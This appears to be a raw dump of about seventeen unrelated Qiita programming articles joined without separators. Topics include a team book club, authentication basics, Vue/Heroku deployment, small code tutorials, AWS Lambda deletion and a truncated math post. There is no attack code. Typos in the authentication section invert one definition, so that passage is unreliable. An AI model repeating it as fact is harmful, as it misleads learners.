OmniAICreator/Qiita-1.07M huggingface dataset:
チームで「良いコード/悪いコードで学ぶ設計入門」の読書会を行った！

# この記事は

先日、チーム内で「良いコード/悪いコードで学ぶ設計入門 ―保守しやすい 成長し続けるコードの書き方」という本の読書会を行いました。

- どうして読書会を行おうと思ったのか
- どんな風に読書会を進めたのか
- その後どうだったのか

といったことをお伝えしたいと思います。

# はじめに

普段、Ruby on Railsを使ったWebアプリケーションをチームで開発しています。アジャイル開発手法のスクラムを運用していて、メンバー間でのコードレビューは勿論のこと、ペアプログラミングやモブプログラミングなども活用しながら日々開発に取り組んでいます。
最近、チームメンバーが大きく入れ替わって、新人さんの割合が増えました。

# 実装の手戻り

そんな中、チームメンバーが既存コードを流用して新しい機能を開発していました。しかし元コードの設計があまり良いと言えるものではなかったため、元コードを書き換えて新しい機能を追加するのに手こずっていました。そしてコードの品質も元コードの品質に引っ張られて、コードの保守性が低いものとなってしまいそうでした。

実装の途中でこのままでは良くない方向に行きそうだと気がついて、ベテランメンバーでクラス設計をやり直して、その設計を元にコードを書き直してもらいました。

すると、とてもスッキリしたコードになって、コード理解、テストコード実装、機能追加がやり易いコードになりました。

# 振り返りにて

毎週行っているチームの振り返りで、クラス設計することが大切だという認識を共有できました。そして、設計力を向上させたいけれど、それにはどうすれば良いかという話しになりました。

普段、チームメンバーのコードレビューをしていて、コードのどういった所が良くて、どういった所が悪いのか、この辺の知識と経験が足りていないところがあることがわかっていました。

そのため、まずは知識としてその辺りをインプットしてもらおうと思いました。

# 選書

私が以前に読んだことがある「良いコード/悪いコードで学ぶ設計入門 ―保守しやすい 成長し続けるコードの書き方」を思い出しました。

2022/4/30に出版。サンプルコードはC#で書かれています。チームでは、Ruby on Railsを使っているのでどうかと思ったのですが、読んでみるとその辺はほとんど気になりませんでした。

良いコード悪いコードに対して、そのコードがなぜ良いのか悪いのか、わかりやすく説明してくれています。用語も丁寧に説明されているので、チームの共通言語を増やすのにもってこいだと考えました。

設計について書かれた多くの書籍では、業務分析、モデリング、UML、シーケンス、ユースケースなど、より上流工程をターゲットに書かれているものが多い印象で、それはそれで大事なのですが、難易度も高く、新人プログラマは敬遠しがちな内容に感じています。（オススメの設計本あったら教えてください！）

その点「良いコード/悪いコードで学ぶ設計入門」はプログラマ視点、コードに近い場所での設計について書かれています。業務分析みたいな話しは出てこない代わりに、どのようにクラスを分割すると保守しやすいコードになるかといったような話しが出てきます。

# 読書会：準備

2週間後ぐらいに読書会の日程を決めます。
それまでに読んできてほしいところを共有しておきます。

まず最初に、第15章「設計の意義と設計への向き合い方」を読んでもらってから
次に第1章から第6章まで読んでもらうことにしました。

どうして、第15章「設計の意義と設計への向き合い方」を最初に読んでもらうかというと
この章に設計がいかに大事かということが書かれているからです。
（個人的にはこれが第１章でも良いのではないかと思うぐらいです）

また1回で話し切るにはボリュームが大きいので2, 3回に分けて実施することにしました。

チームメンバーの中に、すでに読んだことのある人もいましたが、その人たちには再読してもらうことにしました。

# 読書会：当日

読書会の目的は、一人で本を読んで理解するだけでなく、本を読んだ人同士で意見交換することで、本の内容をより深く理解し、共通認識を得たりすることです。

第15章、第1章から第6章の順番に章ごとに区切って進めます。
1章あたり15分ぐらいを目安にしました。

Miroなどの付箋アプリなんかを使うとやりすいと思います。

まず3分ぐらい時間をとって、参加者全員にその章で気になったキーワード、フレーズ、考え方などを付箋に書き出してもらいます。
付箋が書き出せたら、同じような付箋を集めます。

次に5分ぐらい時間をとって、多くの付箋が集まったところについて、付箋を書いた人に意見や感想を述べてもらいます。付箋を書いてもらった人からも、そうでない人からも意見を集めます。

5分経ってまだ話しが盛り上がっていたら3分延長します。一通り話し終えたら次の付箋の山に移るようにします。

途中休憩をはさんで、全体で2時間ぐらい。
最後は、この日の勉強会の場を振り返って、みんなで付箋を書いて、それを共有して終わりにします。

# その後どうだったのか
全部で17章のうち6章まで読書会しましたが、残りの章についても同じようにやっていきたいと思っています。

チームメンバーの「設計力を向上させたい」という動機から読書会をやってみましたが、流石にいきなり設計が上手になるというのはありません。ですが、コーディングとレビューの質は上がったと思います。当然かもしれませんが、経験の浅いメンバーほど効果が高いように思えます。

メンバーの成長もそうですが、私自信が改めて、良し悪しの理由＝価値基準をメンバーにインプットすることの大切さを再認識しました。

まだ設計力の向上には繋がっていないかもしれませんが、良いコードと悪いコードの理解が進んでいるので、どうすれば事前に良い設計を考えることができるのか分からなくても、書かれたコードを見て良い方向に進んでいるのか悪いコードに進んでいるのか、多少は見る目が養われたのではないかと思います。

仕様を実現するためにコードを書いていると、納期に追われてついつい複雑なコードになって行きがちだと思いますが、チームの中で「メソッド内のコードが長い」「条件が複雑になってきた」「変数名がわかり難い」など、これまでもよりも活発に議論するようになった気がします。さらに「クラスを分けようか」といった話題も出てくるようになって嬉しい限りです。

「設計力を向上させたい」このために、まずはこの本に書かれていることをチーム全員で理解して、そこからさらにステップアップして行こうと思いました。
エンティティ認証技術

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457284/e72545dd-ee8a-1f19-cc45-09edba080466.png)
１：FIDO(Fast IDentity Online)
　オンラインサービスやクライウドサービウスのユーザ認証に、ユーザのスマートフォンの生体認証機能（指紋認証、顔認証）を利用する方式をFIDOと言います。パスワードの入力を省略することができるので、ユーザにとって使いやすい認証方式です。
　FIDOでは、最初に、スマートフォンで生体認証（指紋認証や顔認証）を行います。認証に成功したら、スマートフォン内の秘密鍵でディジタル署名を生成して、そのディジタル署名をオンラインサービスやクラウドサービスのサーバに送信し、ユーザ認証を受けます。

２：ICカードによる認証
　 ICカードを利用した認証は、今日利用されています。ICカードをICカードリーダに読み込ませて、本人確認します。ICカードを所有していることが、本人であることの証明になります。
　正規のICカードには、秘密の情報（共通鍵や秘密鍵）が登録されています。ICカードをICカードリーダに挿入する（タッチする）と、ICカードリーダは、ICカードが秘密の情報を持っていることを確認します。また、ICカードを拾った第三者が不正にICカードを利用することを防ぐためには、PINと呼ばれる暗証番号をつけて、PINを知らない人には、ICカード内の秘密の情報を使えないようにロックしておきます。
　ICカードを分解して、内部の電気回路の動作を計算機器で測定したりして、ICカード内の秘密の情報を盗み出す攻撃が行われることもあります。したがって、ICカードは、このような攻撃に対しての耐性を持っていなくてはなりません。この耐性を耐タンパ性と言います。

「アンチパスバック」
近年、入室時と退出時にICカードを用いて認証を行い、入退室を管理するシステムが広く利用されています。この時に、
・入室時の認証記録がない時には、そのICカードでの退出を許可しない。
・退出時の認証記録がない時には、そのICカードでの入室を許可しない。
というコントロールを行うことも多いです。このようなコントロール方式をアンチパスバックと言います。

３：多要素認証と多段階認証
　エンティティ認証は、知識（パスワード）、生体情報（指紋、顔など）、所有物（ICカード）を確認することによって行います。これらの要素を複数組み合わせて認証を行う方法を多要素認証と言います。例えば、パスワードと指紋（生体情報）を組み合わせて認証を行う方法は多要素認証でエス。２つの要素で多要素認証を行う場合は、特に、二要素認証（ディアルファクタ認証）と違います。
　一方、第一パスワードで認証が完了するおt、第２パスワードによる認証を行うという方式もあります。2回ともパスワード（知識）による認証を行いますので、多要素認証とは言えません。このように、何段階かにわたって認証を行う方式は多段階認証と言います。

４：CAPTCHA
機械では、判別しにくい歪んだ文字の画像を表示して、同じ文字を入力させたり、提示した写真に写っている物体と同じ物体を選ばせたりして、人間が操作していること、すなわち、プログラムによる自動処理でないことを確認する仕組みです。

５：シングルサインオン（SSO）
　ファイルサーバにある文書ファイルにアクセスするためには、ファイルサーバにログインする必要があります。グループウェアで会議室の予約をするためには、グループウェアサーバにログインしなくてはなりません。電子メールを受信するためには、メールサーバにログインが必要です。
　このように、通常の利用では、異なったサーバにアクセスするたびに、ユーザIDとパスワードを入力してユーザ認証を受ける必要があります。
　しかし、何かのサービスを利用するたびに、ユーザIDパスワードを入力することは面倒です。シングルサインオン（SSO）は、一度、認証サーバで認証を受ければ、その後は、各サーバでの認証を不要とする仕組みです。SSOを実現するための代表的な仕組みには、Kerberos認証やSAML（Security Assertion Markup Language）があります。Kerberos認証は、LAN内でのSSOに利用されています。SAMLは、XML形式で認証情報をやり取りすることから、Web技術（HTTP/HTTPS）との相性がよく、オンラインショッピングサイトなどのウェブアプリケーションでのSSOに利用されています。
【備忘】Vue.jsのプロジェクトをHerokuで動作させるまでのアレコレ

## はじめに
最近Webアプリに挑戦してみたくなり、「まずはフロントエンドから」とVue.jsに手を付けました。

Webアプリには１ミリも触れていなかったので、書籍などを読みようやっと"Hello, world"プログラムを完成されることができました。

この喜びの勢いでローカル環境外で動作させたくなってきたんですよね。
とはいえ、何の知識もないやつが環境づくりなど出来るわけがありませんので界隈では人気のありそうなHerokuというサービスを利用することにしました。

これで簡単にインターネット上で自作アプリ(Hello, World)が公開される！
と思ったのも束の間、まったくそんなことはなく、動作を確認出来るまで四苦八苦する羽目になってしまいました。

ここではその四苦八苦の末に動作するまでのアレコレを書き記そうと思います。

## Vue.jsプロジェクトの作成
私は開発ツールとしてWebStormを使用していますので、プロジェクトはこのツールより作成しています。
多分ですが、ここらへんはコマンドを実行して作成するのと差はないと思います。

作成したプロジェクトを使用して"Hello, world"を表示させるだけの簡単なアプリを実装します。

実装したプロジェクトをGitHubに公開します。

## Heroku側の設定
新規にアプリを作成します。

GitHubと連携して先ほど公開したプロジェクトを使ってデプロイします。

これで上手くいくと思ったのですが、<b>なんか上手く動作してくれませんでした……。</b>
詳細なログがあればよかったのですが、残していなかったというか、この時はログの見方がわかっていませんでした。
(四苦八苦している途中でログを参照できる導線を見つけたんですよね……)

## 解決方法
色々と調べた結果、express.jsを使用すると解決できるかも、という情報をキャッチ、早速試してみることにしました。

まずはプロジェクトにexpress.isをインストールします。
~~~
npm install express
~~~

package.jsonを以下のように修正します。
~~~ json:package.json
{
  "name": "hello-vue",
  "version": "0.0.0",
  "scripts": {
    "dev": "vite",
    "build": "vite build",
    "preview": "vite preview",
    "start": "node server.js"
  },
  "keywords": [
    "heroku"
  ],
  "author": "sanebow",
  "dependencies": {
    "express": "^4.18.2",
    "vue": "^3.3.4"
  },
  "devDependencies": {
    "@vitejs/plugin-vue": "^4.3.4",
    "vite": "^4.4.9"
  },
  "engines": {
    "node": "18.x"
  }
}
~~~

以下の内容でserver.jsを用意します。
~~~ js:server.js
const express = require('express');
const port = process.env.PORT || 8080;
const app = express();

app.use(express.static(__dirname + "/dist/"));

app.get(/.*/, function(req, res) {
    res.sendfile(__dirname + "/dist/index.html");
});

app.listen(port);
~~~

これらの処置をし、再度プロジェクトをデプロイしたところ、見事動作を確認することができました。

なんだかんだ１日作業だった気がします……。
クラウド日記（9月18日）

Amazon SES受信機能が東京リージョンに対応

https://aws.amazon.com/jp/about-aws/whats-new/2023/09/amazon-ses-email-service-7-regions/

少し前になりますが、Amazon SES受信機能が東京リージョンに、ついに対応しました。
6～7年前に、某公共系のクラウド案件の支援を行っていた際に、海外へパケットを一切飛ばすことがNGといった要件がありました。
まだまだガバメントクラウドと言われる言葉もなく、当時はクラウドって可能性あるのだろうか・・・とSESの海外へのパケットを飛ばすことを顧客へ説明しながら、クラウド使う可能性ってありますかね？？と会話した記憶が懐かしいです。
まだまだ東京リージョンで出来ることが少なく、こうした機能が地味に嬉しかったりします。

色々触って検証したいところですが、時間が無いのでIDの有効化だけして、本日の作業は終わりにします。。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3559943/bb880779-35ca-3d78-e269-9bec74dfee5e.png)
【個人開発】GA4の参照元/メディア/キャンペーンを計測できるQRコード作成ツールを作ってみた

通常URLのQRコードはGA4で参照元/メディアがdirect/noneと計測されて、QRからのアクセスと判別できません。

そこでQRコードからのアクセスを判別できるように、GA4参照元とメディア、キャンペーンのパラメータを付与したURLを生成し、そのパラメータ付きURLでQRコードを作成できるサービスを個人開発してみました。

GA4のパラメータ付与とQR作成を一度に実施できるシンプルなツールです。

# GA4パラメータ付きQRコード作成ツールとは
文字通りGA4のパラメータを付与したURLでQRコードを生成してくれるツールです。

https://auto-worker.com/blog/?p=8180

1. QRを作りたいURL
1. 参照元
1. メディア
1. キャンペーン

を入力すると、GA4パラメータ付URLでQRコードを作成します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/365005/39349214-a89d-eb01-6b11-6ecd3e2393e5.png)
QR生成するとボタンが表示され、QR画像をダウンロードすることができます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/365005/f8e53213-5917-3dce-48a5-e511b050a712.png)

# なぜ今になってQRコード作成ツールを作った？
「QRコード　作成」と検索すると、たくさんのツールがヒットします。

すでに色々なQRコード作成ツールがあるにもかかわらず、個人開発したのは欲しいQRコード作成ツールがなかったからです。

既存のQRコード作成ツールには、GA4の計測パラメータを付与する機能がありませんでした。

そのため、計測可能なQRを作るには以下の2Stepが必要です。

1. Campaign URL Builderでパラメータ付きURLを作成
 ※もしくは手動でutm_sourceやutm_mediumのパラメータを追加
1. QRコード作成ツールでQR生成

わざわざ2つのサービスを使うのは手間がかかります。

また、手動でパラメータを付与すると、スペルミス等で計測できない恐れもあります。

しかし、本ツールならURLへのパラメータ付与とQR作成が一緒にできて便利です。
# HTML/CSS/Javascriptでプチ個人開発

QRコード作成ツールを作るにあたって使用したのは、HTML/CSS/Javascriptのみでした。

最初はReactとか使ってみようかなと検討してみました。

しかし、必要な機能を考えた時、以下3つに集約されました。

1. URLや計測パラメータ入力
1. ボタンを押すとQRコード生成
1. 生成QRをダウンロード

このレベルならわざわざモダンな開発環境を用意する労力のほうが工数が大きいなと感じました。

そのため、ベーシックなHTML/CSS/Javascriptで作ることにしました。

HTMLはたった20行、Javascriptも55行ほどの小規模なコードで作ることができました。

※正直めちゃくちゃプチ個人開発です・・・

# ツールはワードプレス上に公開

QRコード作成ツールは公開先として、ワードプレスを選択しました。

HTML/CSS/Javascriptなので、各種ファイルを配置して静的にホスティングするだけでWebサービスとして公開可能です。

ただ見栄えよくするには、CSSによるデザイン調整も必要になります。

また修正したい場合に修正版をFTPでアップロードしないといけなく、バージョン管理も面倒です。

こうした面倒な点がワードプレスであれば、解消できます。

ワードプレスの場合、テーマデザインのCSSが適用されるので、CSSを考慮しなくてもよいです。

さらに修正しても、ワードプレスにリビジョン管理がデフォルトで使えるので、変更管理も簡単です。

ワードプレス上で公開したほうがメンテナンスコストが下げられるので、ワードプレスの1ページとして、QR作成ツールのHTMLとJavascriptを配置しました。

# SEOなどの面でもメリット

ワードプレスにツールを配置するのは、SEOにも大きなメリットがあります。

主要な流入元である検索流入のためには、メタタグなどを用意してSEOに取り組まなければなりません。

ワードプレスはプラグインやテーマでSEOに不可欠なメタタグも自動設定されます。

そのため、メタタグを記述しなくてもワードプレス側で出力してくれます。

さらに、ワードプレスが持つドメインパワーが利用できます。

普段ブログを書いているおかげでもありますが、ツールを公開してすぐに検索結果に表示されています。

個人開発したツールに新たにドメイン取得して、公開してもユーザーが検索経由で流入するまでにはものすごく時間がかかります。

それゆえに、ワードプレスにツールを配置することで、メタタグやドメインパワーのメリットを活かし、SEOの面からも有利に展開できました。

# QR経由のアクセスをGA4で計測したいユーザーにおすすめ！
本ツールは、QRコード経由のアクセスをGA4で計測したいユーザーにオススメです。

チラシやポスターなどの紙媒体を用いたマーケティングには、今やQRコードは必須です。

しかし、QRコードのURLに計測パラメータ付きをつけ忘れると、GA4でQRからのアクセスを識別できず大変です。

本ツールは、URLへのGA4のパラメータ付与とQRコード生成を一度に行うので、計測漏れがありません。

パラメータ付与忘れやミスを防止するとともに、QRコード作成の手間を減らすことができます。

# 終わりに

今回、個人開発したGA4で計測可能なQRコードを作成するツールを紹介しました。

QRコードは通常のURLだと、GA4でアクセス元を識別できず、計測パラメータをURLに付与する必要があります。

しかし、ほとんどのQRコード作成サービスにはパラメータを付与する機能はなく、別途パラメータ付きURLの準備が必要です。

個人開発したツールはURLパラメータ付与とQR作成が一度にでき、ミス防止や手間を減らせます。

ぜひGA4で計測できるQRコードが必要な方はご活用ください！

https://auto-worker.com/blog/?p=8180
Flutterの使い方を解説

Flutterは、モバイルアプリケーション（iOSとAndroidの両方）を開発するためのオープンソースのUIフレームワークで、Dartプログラミング言語を使用します。以下に、Flutterの基本的な使い方をいくつかのコード例を交えて説明します。

## ウィジェットの作成と表示
Flutterでは、UI要素はウィジェット（Widgets）として表現されます。以下は、簡単なテキストを表示するFlutterアプリケーションのコード例です。

```dart
import 'package:flutter/material.dart';

void main() {
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: Scaffold(
        appBar: AppBar(
          title: Text('Flutterアプリケーション'),
        ),
        body: Center(
          child: Text('こんにちは、Flutter!'),
        ),
      ),
    );
  }
}
```
このコードでは、MyApp クラスが StatelessWidget を継承し、build メソッドでUIを構築しています。アプリのエントリーポイントとして main 関数で MyApp インスタンスを作成し、runApp 関数を使用して表示します。

## ボタンとイベントハンドリング
ボタンを作成し、クリックイベントを処理するコード例です。

```dart
import 'package:flutter/material.dart';

void main() {
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  void _showMessage(BuildContext context) {
    ScaffoldMessenger.of(context).showSnackBar(
      SnackBar(
        content: Text('ボタンがクリックされました。'),
      ),
    );
  }

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: Scaffold(
        appBar: AppBar(
          title: Text('ボタンの例'),
        ),
        body: Center(
          child: ElevatedButton(
            onPressed: () => _showMessage(context),
            child: Text('クリックしてください'),
          ),
        ),
      ),
    );
  }
}
```
このコードでは、ElevatedButton ウィジェットを使用してボタンを作成し、onPressed プロパティにクリック時のコールバック関数を指定しています。

## リストビューの作成
リストビューを作成し、リストアイテムを表示するコード例です。

```dart
import 'package:flutter/material.dart';

void main() {
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  final List<String> items = ["Item 1", "Item 2", "Item 3"];

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: Scaffold(
        appBar: AppBar(
          title: Text('リストビューの例'),
        ),
        body: ListView.builder(
          itemCount: items.length,
          itemBuilder: (context, index) {
            return ListTile(
              title: Text(items[index]),
            );
          },
        ),
      ),
    );
  }
}
```
このコードでは、ListView.builder を使用してリストビューを作成し、itemBuilder コールバックで各リストアイテムを生成しています。

これらはFlutterの基本的な使い方の一部です。Flutterでは、さまざまなウィジェットと組み合わせて、複雑なモバイルアプリケーションを構築できます。必要に応じてウィジェットやコンポーネントをカスタマイズし、アプリケーションの要件に合わせてデザインできます。

## Flutterのお役立ち情報

https://wagtechblog.com/programing/flutter-school

https://wagtechblog.com/programing/flutter-react-native-compare
じゃんけんアプリ　Vue.jsを勉強したし取り敢えずアプリを作ってみた。　Part１

ここまでVueの基本を勉強しました。
アウトプットの為にWEBアプリを作って行きたいと思います。

Vueを学んでいる中で最初に作ろうと決めていたものがあります。
　『じゃんけん』アプリです！！

理由は簡単、作りやすそうだから笑
最初から躓き、壁に当たりまくってもモチベが下がるので初心者の自分でもギリ超えれそうなものを選ばせて貰いました。

目標
ボタンを押したら変化を加える
・こちらの手によって相手の手を出す。
・最初から表示されている文字を消す。
・勝ち負けの結果を表示させる。
・相手の手を画像にて表示させる。
以上です。

ある程度構成が出来ているのでカチカチと終わらせます。


まずは、HTMLとCSSにて見た目を作ります。
ここは何なくクリア！
こんな所では転びません笑

次は、JavaScriputの動きをつけます。
ボタンを押したら文字を表示と非表示にして、
v-ifでじゃんけんの勝ち負けの条件式を書いて保存をしたら、、、、、、、、、

![スクリーンショット 2023-09-18 20.45.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3512450/4f8b53f3-2639-8ba3-e545-1e723c82230e.png)

はい、白くなりました。

シロッ(｀・ω・´)！！！！
コードエラーでもなく白に笑

取り敢えず躓いた事は分かりました( ^ω^ )
Javaのfor文の使い方を解説

Javaのfor文は、繰り返し処理を行うために使用されます。Javaにはいくつかの種類のfor文があり、以下にそれぞれの使い方を示します。

## 標準的なforループ
標準的なforループは、指定した回数だけ繰り返し処理を行うために使用します。

```java
for (int i = 0; i < 5; i++) {
    System.out.println("繰り返し処理中: " + i);
}
```
この例では、0から4までの値を表示します。int i = 0 で初期化し、i < 5 で条件を指定し、i++ でループ変数を増加させます。

## 拡張forループ (for-eachループ)
拡張forループは、コレクションや配列などの反復可能な要素を順番に処理するために使用されます。

```java
String[] colors = {"赤", "青", "緑"};

for (String color : colors) {
    System.out.println("色: " + color);
}
```
この例では、colors 配列内の各要素を順番に取り出し、color 変数に代入して表示します。

## whileループ
whileループは、指定した条件が真の間、繰り返し処理を行います。

```java
    int count = 0;

    while (count < 3) {
        System.out.println("カウント: " + count);
        count++;
    }
```
この例では、count 変数が3未満の場合に繰り返し処理を行います。

これらはJavaのfor文の基本的な使い方のいくつかです。forループは特定の回数の繰り返し処理やコレクションの要素を処理する際に非常に便利です。必要に応じて条件や反復可能な要素を調整して利用できます。

## Javaのお役立ち情報

https://wagtechblog.com/programing/java-school

https://wagtechblog.com/programing/java-book
Pythonのfor文の使い方を解説

Pythonのfor文の使い方を解説

Pythonのfor文は、リスト、タプル、文字列、辞書などの反復可能な(iterable)オブジェクト内の要素を反復処理するために使用されます。以下にPythonのfor文の基本的な使い方を説明します。

## リストを反復処理する例

```python
fruits = ["りんご", "バナナ", "オレンジ"]

for fruit in fruits:
    print(fruit)
```
リスト fruits 内の各要素を順番に取り出し、それを変数 fruit に代入してループ内で使用します。ループごとに果物が表示されます。

## 範囲（range）を使用する例

```python
for i in range(5):
    print(i)
```
このコードは、0から4までの数字を表示します。range(5) は0から4までの範囲を生成し、for ループでそれらの数字を反復処理します。

## 文字列を反復処理する例

```python
text = "Hello, World!"

for char in text:
    print(char)
```
このコードは文字列 text 内の各文字を順番に取り出し、それを変数 char に代入して表示します。

## 辞書を反復処理する例

```python
student_scores = {"Alice": 95, "Bob": 87, "Charlie": 91}

for student, score in student_scores.items():
    print(f"{student}: {score}")
```
このコードは辞書 student_scores 内のキーと値のペアを順番に取り出し、それぞれを変数 student と score に代入して表示します。items() メソッドを使用して辞書のキーと値を取得します。

これらはPythonのfor文の基本的な使い方です。for文は反復処理が必要な場合に非常に便利で、さまざまなデータ構造を処理するのに役立ちます。

## Pythonのお役立ち情報

https://wagtechblog.com/programing/python-school

https://wagtechblog.com/programing/ai-develop-school
PHPのバージョン確認をするコード

PHPのバージョン確認をするコードを２種類解説します。

## PHPで確認する場合
PHPスクリプト内で phpversion() 関数を使用して、PHPのバージョン情報を取得できます。
```php
<?php
// PHPのバージョン情報を取得し、表示する
echo '現在のPHPバージョン: ' . phpversion();
?>
```

## コマンドラインで確認する場合
コマンドラインで実行する場合には、以下のようにコマンドを使用できます。
```shell
php -v
```

## PHPのお役立ち情報

https://wagtechblog.com/programing/php-school

https://wagtechblog.com/programing/php-book
ReVanced Extended を RVX Builder でビルドする

ビルド手順を毎回忘れているので自分用にメモ。

以前は Android 端末で [ReVanced Manager](https://github.com/ReVanced/revanced-manager) を使ってビルドしていたが、ビルド中にエラー吐いたりインストールできなかったりだったので、 PC で [RVX Builder](https://github.com/inotia00/rvx-builder) を使ってビルドする方法に変更した。結果、ビルド時間が 1/4 くらいになった。

### 前提

docker-compose が使える環境であること。

### 手順

1. RVX Builder を `git clone` する。
    ```
    git clone https://github.com/inotia00/rvx-builder
    cd rvx-builder
    ```
    (clone 済みの場合は `git pull` で最新に更新)
    ```
    cd rvx-builder
    git pull
    ```
2. README に従って、 docker-compose コマンドでビルドする。
   https://github.com/inotia00/rvx-builder#build-using-docker-compose
    ```
    docker-compose build --pull --no-cache
    ```
3. 起動する。
    ```
    docker-compose up -d
    ```
4. ブラウザで localhost:8000 にアクセスする。
5. 画面に従って進め、 apk ファイルのアップロードを行う。
6. 適用するパッチを選択し、ビルドを行う。
7. ビルドが終わると、 `revanced` ディレクトリ配下に apk ファイルが出力される。
   `ReVanced-cli_v3.2.0-patches_v2.160.6.apk` のような名前。
8. インストールしたい端末に apk ファイルを転送し、インストールする。
   PC から Android 端末へのファイル転送は [Tailscale](https://tailscale.com/) が便利。
9. 終わったらコンテナを終了しておく。
    ```
    docker-compose down
    ```

### Android 6.0 から 7.1 の場合

[kitadai31/revanced-patches-android6-7](https://github.com/kitadai31/revanced-patches-android6-7) が利用できる。

https://github.com/kitadai31/revanced-patches-android6-7

以下の Wiki を参考に設定変更を行う。
https://github.com/kitadai31/revanced-patches-android6-7/wiki/How-to-build#method-4-using-rvx-builder-pcandroid
【SwiftUI】標準のローディング画面に飽きたのでカスタマイズして作ってみた

# はじめに
ローディング画面をカスタムして作ってみました

# 完成形
![Simulator Screen Recording - iPhone 14 Pro - 2023-09-18 at 20.31.56.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/e53df28f-c5b7-c2a5-caf7-2c481b414c5f.gif)

# 実装
```swift

import SwiftUI

struct CircularLoadingIndicator: View {
    @State private var scale: CGFloat = 0.25
    private let numberOfCircles = 12
    private let circleSize: CGFloat = 10
    private let animationDuration: Double = 0.8
    var body: some View {
        GeometryReader { geometry in
            ZStack {
                ForEach(0..<numberOfCircles, id: \.self) { index in
                    circleView(index: index)
                        .frame(width: circleSize, height: circleSize)
                        .position(circlePosition(for: index, in: geometry.size))
                }
            }
        }
    }

    private func circleView(index: Int) -> some View {
        Circle()
            .scaleEffect(scale)
            .animation(
                .easeInOut(duration: animationDuration)
                .repeatForever(autoreverses: true)
                .delay(Double(index) * (animationDuration / Double(numberOfCircles))),
                value: scale
            )
            .onAppear { scale = 1.0 }
    }
    
    private func circlePosition(for index: Int, in size: CGSize) -> CGPoint {
        let center = CGPoint(x: size.width / 2, y: size.height / 2)
        let radius = min(size.width, size.height) / 3
        let angle = 2 * .pi / Double(numberOfCircles) * Double(index)
        let x = center.x + CGFloat(cos(angle)) * radius
        let y = center.y + CGFloat(sin(angle)) * radius
        return CGPoint(x: x, y: y)
    }
}
```

# 使い方
```swift
CircularLoadingIndicator()
    .foregroundColor(.orange)
    .frame(width: 80, height: 80)
    .contentShape(RoundedRectangle(cornerRadius: 10))
    .frame(width: 140, height: 140)
    .background(RoundedRectangle(cornerRadius: 10).fill(Material.thick))
```

# おわり
アニメーション職人になりたい
Delete a version of a AWS Lambda function from awscli

There are several ways to delete a version of a lambda function. All the followings have the same effect. See [the manual](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/delete-function.html) for details.

## With the function name followed by the version

```
aws lambda delete-function --function-name ${FUNCTION_NAME}:${VERSION}
```

Example:

```
aws lambda delete-function --function-name my-function:1
```

## With the function name and the qualifier option

```
aws lambda delete-function --function-name ${FUNCTION_NAME} --qualifier ${VERSION}
```

Example:

```
aws lambda delete-function --function-name my-function --qualifier 1
```

## With the function ARN followed by the version

```
aws lambda delete-function --function-name ${FUNCTION_ARN}:${VERSION}
```

Example:

```
aws lambda delete-function --function-name arn:aws:lambda:us-west-2:123456789012:function:my-function:1
```

## With the function ARN and the qualifier option

```
aws lambda delete-function --function-name ${FUNCTION_ARN} --qualifier ${VERSION}
```

Example:

```
aws lambda delete-function --function-name arn:aws:lambda:us-west-2:123456789012:function:my-function --qualifier 1
```

## Notes

* You will get no message when the command finishes sucessfully, because the API [DeleteFunction](https://docs.aws.amazon.com/lambda/latest/dg/API_DeleteFunction.html#API_DeleteFunction_ResponseSyntax) responds with 204 No Content.
* The command is successful, even if the specified version does not exist. I don't think this is a good behavior. [The API reference says that it responds with 404 if the resource specified in the request does not exist](https://docs.aws.amazon.com/lambda/latest/dg/API_DeleteFunction.html#API_DeleteFunction_Errors).
bootstrap導入

# 初学者の備忘録
初学者の備忘録です。今回はbootstrap導入編


## bootstrap説明
bootstrapとは・・・簡単に説明すると、レスポンシブデザインを基本とし、優れたデザインをス素早く実装するためのCSSフレームワークのことです。

Rails6のアプリケーションにBootstrapを導入するための方法は主に3パターンが考えられます。

1. CDNで導入する
2. ファイルを配置する
3. yarnでインストールする

今回は３の`yarnでインストールする`を備忘録として残していきます。

## bootstrap導入

【１】インストール
作業ディレクトリまで移動してインストールします。
`$ yarn add jquery bootstrap@4.6.2 popper.js`

【２】　environment.jsを編集
次に、config/webpack/environment.jsを編集します。下記の記述を指定ファイルに追加してください。
```ruby:config/webpack/environment.js
:
:

const webpack = require('webpack')
environment.plugins.prepend(
  'Provide',
  new webpack.ProvidePlugin({
    $: 'jquery/src/jquery',
    jQuery: 'jquery/src/jquery',
    Popper: 'popper.js'
  })
)
```


【３】　stylesheets追加
app/javascriptの配下にstylesheetsフォルダを作成します。
作成したapp/javascript/stylesheetsフォルダの配下にapplication.scssファイルを作成して、次のように記述します。
```ruby:app/javascript/stylesheets/application.scss
@use '~bootstrap/scss/bootstrap';
```

【４】　application.jsを編集
app/javascript/packs/application.jsを編集します。下記の記述を指定ファイルに追加してください。
```diff_ruby:app/javascript/packs/application.js
:
:

import "channels"

+import "jquery";
+import "popper.js";
+import "bootstrap";
+import "../stylesheets/application"; 

Rails.start()
Turbolinks.start()
ActiveStorage.start()
```

【５】　application.html.erbを編集
app/views/layouts/application.html.erbを書き換えます。
```diff_ruby:app/views/layouts/application.html.erb
:
:

- <%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track': 'reload' %>
+ <%= stylesheet_pack_tag 'application', media: 'all', 'data-turbolinks-track': 'reload' %>

:
:
```

以上で導入終了です。お疲れ様でした。
累乗の、その先へ　〜テトレーション〜

みなさん、グーグルはご存知ですね？
グーグルはグーゴル(googol:$10^{100}$)の綴りを間違えて、結果的にグーグルになったという話です。
# 指数タワー

さて、このグーゴルをどんどん大きくしていくことをやっていきましょう。
累乗を大きくするには右肩の数を大きくしていけばいいわけです。

```math
10^{1000},10^{10000},10^{100000},10^{1000000}\cdots
```

数字が大きくなると書くのも疲れますね。なので右肩の数も指数表記にしましょう。
```math
